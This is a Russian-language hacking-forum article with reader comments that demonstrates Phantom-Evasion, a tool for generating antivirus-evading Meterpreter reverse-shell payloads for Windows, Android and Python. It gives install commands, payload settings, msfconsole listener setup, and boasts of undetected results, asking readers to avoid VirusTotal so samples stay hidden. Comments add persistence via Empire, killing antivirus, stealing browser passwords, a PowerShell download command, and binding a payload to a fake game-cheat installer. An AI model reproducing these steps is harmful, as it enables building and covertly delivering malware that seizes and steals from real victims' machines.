• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Phantom-evasion FUD payloads

И снова Hello! Сегодня я хочу представить Вам удобный инструмент под названием Phantom-evasion.
Что он из себя представляет ?
Phantom-evasion - это удобный и простой в использовании инструмент для генерации полезной нагрузки, написан на Python, совместим с версиями python 2.7 and 3.4 и выше.

(Для генерации pyinstaller требуется python 2.7). Основной задачей данного инструмента является генерирование полезной нагрузки с обходом почти АВ почти 100% FUD на сегодняшний день.
Форматы выпуска payloads: exe/elf/apk/dmg
Платформы:
Windows,Linux,Android,Osx,Universal (Platform-Target)
Виды payloads:
  • windows/meterpreter/reverse_tcp for exe
  • linux/x86/meterpreter/reverse_tcp for elf
  • android/meterpreter/reverse_tcp for apk
  • osx/x64/meterpreter/reverse_tcp for dmg
  • python/meterpreter/reverse_tcp in Universal modules
Формат модулей рассмотрим далее. Перейдем к установке. Я буду использовать Kali Linux 2017.3 в виде атакующей машины, Windows Server 2012 R3 и Windows 10 (Build 16299) в виде атакуемой машины.

Вся информация предоставляется в ознакомительных целях. Данная статья описывает последовательность действий и инструменты, с помощью которых злоумышленник может проникнуть в Вашу систему и похитить ваши данные.

Установка :
Код:
git clone https://github.com/oddcod3/Phantom-Evasion.git
cd Phantom-Evasion
chmod +x phantom-evasion.py


Запуск:
Код:
./phantom-evasion.py

Проверка зависимостей
upload_2017-11-26_20-26-44.png


Если все окей, то видим следующую картину:

upload_2017-11-26_20-27-36.png


Посмотреть список всех модулей:

Код:
1 enter

upload_2017-11-26_20-29-27.png


Сегодня я продемонстрирую генерацию полезной нагрузки для Windows, Android. Вернемся в главное меню (0). Выберем список модулей Windows (2)

upload_2017-11-26_20-30-44.png


Пробуем вариант под номер 1

upload_2017-11-26_20-31-40.png


Выберем способ генерации шелкода. Я выбираю с помощью всеми известного msfvenom.

Код:
1 enter
Далее нас просят выбрать тип payload. Я выберу следующий:
Код:
windows/meterpreter/reverse_https
Далее нужно прописать LHOST ( на какой айпишник стучаться)
Код:
ip
Далее нужно прописать LPORT(на какой порт стучаться)
Код:
2222
После выбрать имя файла
ForCodeby
После чего пойдет генерации и компиляция нашего payload. Если все успешно, то в нашей папке будет хранится файл ForCodeby.exe


upload_2017-11-26_20-38-3.png


Проверим работоспособность нашего payload, так же посмотрим результаты на nodistribute.com
Запустим хандлер и будет слушать Ip и порт, который мы указали при генерации payload:

Код:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.102
set LPORT 2222
exploit -j

После запуска на целевом компьютере в процессах появится процесс : ForCodeby.exe

upload_2017-11-26_20-45-37.png


Проверим файл на nodistribute.com



И видим полный FUD!!

upload_2017-11-26_20-49-22.png


Уважительная просьба не лить на VIRUS TOTAL. Дайте полезной нагрузке подышать свежим воздухом< ВЗДОХНУТЬ ГЛОТОК СВОБОДЫ!) Проверяйте хотя бы на сайте, на котором проверил я. От этого будет лучше всем, кроме АВ компаний. Спасибо!

Что ж, хороший старт, давайте создадим еще один с помощью другого способа, тоже для Windows. С использованием абсолютно тех же параметров, которые я указал выше. Я не буду скринить процесс, он ничем не будет отличаться от выше стоящего, за исключением выбора модуля.

Я выбираю:

Код:
[2] Windows MultipathHeapAlloc  (C)

upload_2017-11-26_20-55-3.png


Все, файл создан. Проверим работоспособность. Отправим на атакуемую машину и запустим.

upload_2017-11-26_20-58-22.png



Как видим снова Prof1t! ^_^
Процесс запущен, сессия прилетела. Доступ к командной строке получен =)


Результаты обнаружения тоже радуют глаз.

upload_2017-11-26_21-2-9.png


Что ж, я думаю с виндовс достаточно двух примеров. Сразу хочу сказать что 3-й способ я тоже пробовал
Какой - то Богом забытый что-то нашел, но это не страшно)

Результат :

Также, по просьбе ghostphisher в теме https://codeby.net/threads/uvazhaemye-avtory-tem.61280/ я проверю работоспособность PAYLOAD на Windows 10

ggbMEs7dOyg.jpg


Как видим, профит!

Теперь попробуй сгенерить файлик для анроид. Самому интересно че и как будет :)

В главном меню выберем:
Код:
[5]  List Android modules
Далее выбор не большой)
Код:
[1] Android Droidmare msfvenom-rebuilder (Smali)[/B][/B][/B][/B][/B]
[B][B][B][B][B][1] Obfuscate msf payload

После чего формальности заполнения LHOST and LPORT и выбор payload
Код:
android/meterpreter/reverse_https

PVIon_Ca_bQ.jpg


Собственно видим успешную генерацию PAYLOAD!) Но рано радоваться, надо проверить его работу и обнаружение! Убедительная просьба для тех, у кого есть анроид, проверить АВАСПОМ и dr Web. Почему сам не могу? У меня кирпич под названием "недостаточно памяти" galaxy ace S5830 который вздрагивает каждый раз, когда я беру его в руки. Поэтому я покажу результат обнаружения на нодистр, а внутренним антивирусом телефона не буду прогонять. Так же сейчас нахожусь не дома, поэтому нет виртуального ведроида) Просто запущу пайлоад, чтобы проверить его работу!

Сессия у меня не прилетает, не знаю с чем это связано. Может ведроид мой совсем плох, с помощью Evil-Droid сгенерированный файл отлично отрабатывает. Здесь процесс появился, но никто на порт не стучится. Если кто будет пробовать, отпишитесь о результатах у себя.


Обнаружение:

upload_2017-11-26_21-38-10.png



Теперь попробуем сгенерировать питоновский файл to exe)
Для этого в главном меню выберем 6


upload_2017-11-26_22-4-17.png




upload_2017-11-26_22-7-11.png


Код:
[2] Universal Polymorphic Pyhterpreter (Python)[/COLOR][/B][/COLOR][/B][/COLOR][/B][/COLOR][/B]
[B][COLOR=#ff8000][B][COLOR=#ff8000][B][COLOR=#ff8000][B][COLOR=#ff8000]python/meterpreter/reverse_https

Далее LHOST and LPORT и после предложить сгенерить .ехе, жмем y. Все на выходе появился наш файл.


Проверим его работу на вин 10 с питоном 2.7

upload_2017-11-26_22-11-5.png


После запуска на стороне вин 10 пришла сессия.
Результат скана :

upload_2017-11-26_22-12-46.png



Если подвести итоги, то в целом я получил хорошие впечатления) Вышел он недавно, надеюсь поживет еще. Хотя в версии 0.2 они обещали все обновить еще раз! Надеюсь статья получилось годной, спасибо за внимание, всем Prof1t! =)
 

Вложения

  • upload_2017-11-26_20-36-9.png
    upload_2017-11-26_20-36-9.png
    10,6 КБ · Просмотры: 233
  • upload_2017-11-26_20-58-4.png
    upload_2017-11-26_20-58-4.png
    128,1 КБ · Просмотры: 237
  • upload_2017-11-26_21-30-17.png
    upload_2017-11-26_21-30-17.png
    24,4 КБ · Просмотры: 294
  • upload_2017-11-26_21-30-42.png
    upload_2017-11-26_21-30-42.png
    25,3 КБ · Просмотры: 240
  • upload_2017-11-26_22-10-9.png
    upload_2017-11-26_22-10-9.png
    4,6 КБ · Просмотры: 263
Последнее редактирование модератором:

ghost

Grey Team
12.05.2016
1 636
3 286
BIT
0
Хорошая статья. Все прекрасно донесено. Только цвет, но это исправимо.
 
O

OneDollar

Товарищи, какой цвет юзать ?) Второй раз пишу.. Подскажите кому что по душе, я и поставлю. Это не проблема) Я привык просто к такому варианту.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Отлично бро) Рад видеть что ты стараешься именно на нашем форуме) Реально видно что человек постарался - и видно что ему самому это прёт)))
Побольше таких статей! Мне понравилось.
Конкретно понравилось что описан инструмент не просто с вики страницы репозитория а личный опыт тестирования как настоящего тестировщика,свои скрины, свои выводы и т.д.
 
D

Dmitry88

Здорово. Все описано, скрины и личные тесты! Респект.
 
V

Valkiria

У меня возникло желание оставить отзыв о статье ещё вчера, но повинуясь поговорке "утро вечера мудренее" решила отложить это удовольствие )
А утром, оказывается, и без меня автор получил огромную порцию похвал ))
Все лестные отзывы, оставленные выше - объективны, мне остаётся лишь присоединиться к предыдущим комментаторам.
В дополнение хочется отметить следующий положительный (наверное, субъективный) оттенок статьи:
  • статья "живая", то есть носит не теоретический характер,
  • статья провоцирует читателя на рождение собственных мыслей - это очень важно, ИМХО )
  • статья носит обучающий и познавательный характер.
 

Urfin--Juice

Gold Team
14.11.2017
203
74
BIT
0
Автор, спасибо за труды!

Можно пояснение?
Я правильно понимаю, что если вредонос доставлен в систему и АВ никак на это не отреагировал, то это еще не значит, что при запуске этого самого exe-шника никакие HIDS/HIPS/АВ не среагируют и не предпримут контрмеры?
 
O

OneDollar

Автор, спасибо за труды!

Можно пояснение?
Я правильно понимаю, что если вредонос доставлен в систему и АВ никак на это не отреагировал, то это еще не значит, что при запуске этого самого exe-шника никакие HIDS/HIPS/АВ не среагируют и не предпримут контрмеры?
Смотри какая ситуация. Сегодня я получил метерпретер сессию, атакованная машина была вин10 с авастом активированным. В общем права системы, все дела. Решил мигрировать в explorer и тут аваст заблочил сессию и выдал сообщение о найденной угрозе. Чуть позже доберусь до компа, покажу.Я более не вникал как это обойти. Возможно сделать подключение по ssh. Нужно пробовать, если что получится, я обязательно отпишусь.Вообще сейчас рою в сторону убийства процессов АВ, у нас на форуме была хорошая статья, надо найти.На этой же машине использовал бэкдор для метерпретера через повершел, и мигрировать успешно удается. Зацепки есть.

Скрин:

upload_2017-11-27_15-11-15.png
 
Последнее редактирование модератором:

Urfin--Juice

Gold Team
14.11.2017
203
74
BIT
0
Смотри какая ситуация. Сегодня я получил метерпретер сессию,

А пост модуль метерпретера killav пробовали?

Да и опять же... Получить сессию можно как через dllinject, а можно через всякие файлы, запускаемые непосредственно с ЖД... У вас какой вариант?
 
O

OneDollar

А пост модуль метерпретера killav пробовали?

Да и опять же... Получить сессию можно как через dllinject, а можно через всякие файлы, запускаемые непосредственно с ЖД... У вас какой вариант?
Не пробовал, буду пробовать. Я сессию получаю на Empire Framework, от туда через командную строку получаю метерпретер. Дальше по ситуации. Собственно ищу способы успешной эксплуатации метерпретера по нескольким причинам :
Во первых: работа с паролями. В Empire можно взять пароли того же хром при соблюдении нескольких условий:
1. Права. Права должны быть обязательно юзера. Не системы. Иначе ничего не выйдет
2. Браузер должен быть обязательно закрыт.
Метер в этом варианте куда лучше.
Во вторых: проблема со скринами. После закрепления в системе, при перезагрузке ПК и подключении агента мы получаем сессию в империи с правами системы. Мигрировать не получается, запускаешь скрин и получаешь .omman ERRORRR.
В третьих: ограничение по передаче и закачке данных. В империи большой косяк в том плане, что нельзя передавать и принимать файлы с размером более 1Мб
[doublepost=1511784529,1511784399][/doublepost]
Прекрасная статья! Самый лучший спопоб научиться - это учить других! =)



Псс, поправь тут на "LPORT"
Хорошо что заметил) исправил!
 

Urfin--Juice

Gold Team
14.11.2017
203
74
BIT
0
Не пробовал, буду пробовать. Я сессию получаю на Empire Framework
Т.е. вместо windows/meterpreter/... вы выбираете launcher, сделанный в Empire? Если так, то как вы его выбираете в фантоме? У меня по абсолютному пути питон ругается сильно...

После закрепления в системе

Каким способом закреплялись?

P.S. NOD32 с включенным HIPS на вредонос не отреагировал. Есть правда трудности с постэксплуатацией, но это уже отдельная история... Хороший, удобный инструмент.
 
O

OneDollar

Т.е. вместо windows/meterpreter/... вы выбираете launcher, сделанный в Empire? Если так, то как вы его выбираете в фантоме? У меня по абсолютному пути питон ругается сильно...



Каким способом закреплялись?

P.S. NOD32 с включенным HIPS на вредонос не отреагировал. Есть правда трудности с постэксплуатацией, но это уже отдельная история... Хороший, удобный инструмент.
Создаю с помощью usestaget для Empire. Прочти https://codeby.net/threads/znakomstvo-s-powershell-empire-framework.58469/
Для метера создаю как указано в статье.
Закрепление в системе делаю через империю:

upload_2017-11-27_15-49-11.png


После перезагрузки ПК видим след картину :

upload_2017-11-27_15-49-49.png


P.s. на это закрепление никто не ругается :)
 
H

Hackaton192

Не пробовал, буду пробовать. Я сессию получаю на Empire Framework, от туда через командную строку получаю метерпретер. Дальше по ситуации. Собственно ищу способы успешной эксплуатации метерпретера по нескольким причинам :
Во первых: работа с паролями. В Empire можно взять пароли того же хром при соблюдении нескольких условий:
1. Права. Права должны быть обязательно юзера. Не системы. Иначе ничего не выйдет
2. Браузер должен быть обязательно закрыт.
Метер в этом варианте куда лучше.
Во вторых: проблема со скринами. После закрепления в системе, при перезагрузке ПК и подключении агента мы получаем сессию в империи с правами системы. Мигрировать не получается, запускаешь скрин и получаешь .omman ERRORRR.
В третьих: ограничение по передаче и закачке данных. В империи большой косяк в том плане, что нельзя передавать и принимать файлы с размером более 1Мб
[doublepost=1511784529,1511784399][/doublepost]
Хорошо что заметил) исправил!

Бро империя дает тебе POWERSHELL и это спасает в очень многих случаях
Твой третий пункт решается модулем management/invoke_script
Далее set ScriptCmd (New-Object Net.WebClient).DownloadFile(" ","C:\\Path"),
где ip-server - это либо твой сервак,либо хранилище
С:\\Path - место куда заливаешь
И хоть закачайся
 
Последнее редактирование модератором:
  • Нравится
Реакции: Vertigo, remez и OneDollar
O

OneDollar

?

А дальше получившуюся строку в фантом?
Посмотреть вложение 13290
Зачем? Нет, просто создай к примеру бат. Потом переведи в ЕХЕ, с помощью Smart Install Maker склей с каким-либо установщиком. Включи СИ, к примеру читы для WOT. Смотря что хочешь сделать.

upload_2017-11-27_16-34-46.png
 
  • Нравится
Реакции: Diplomat
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!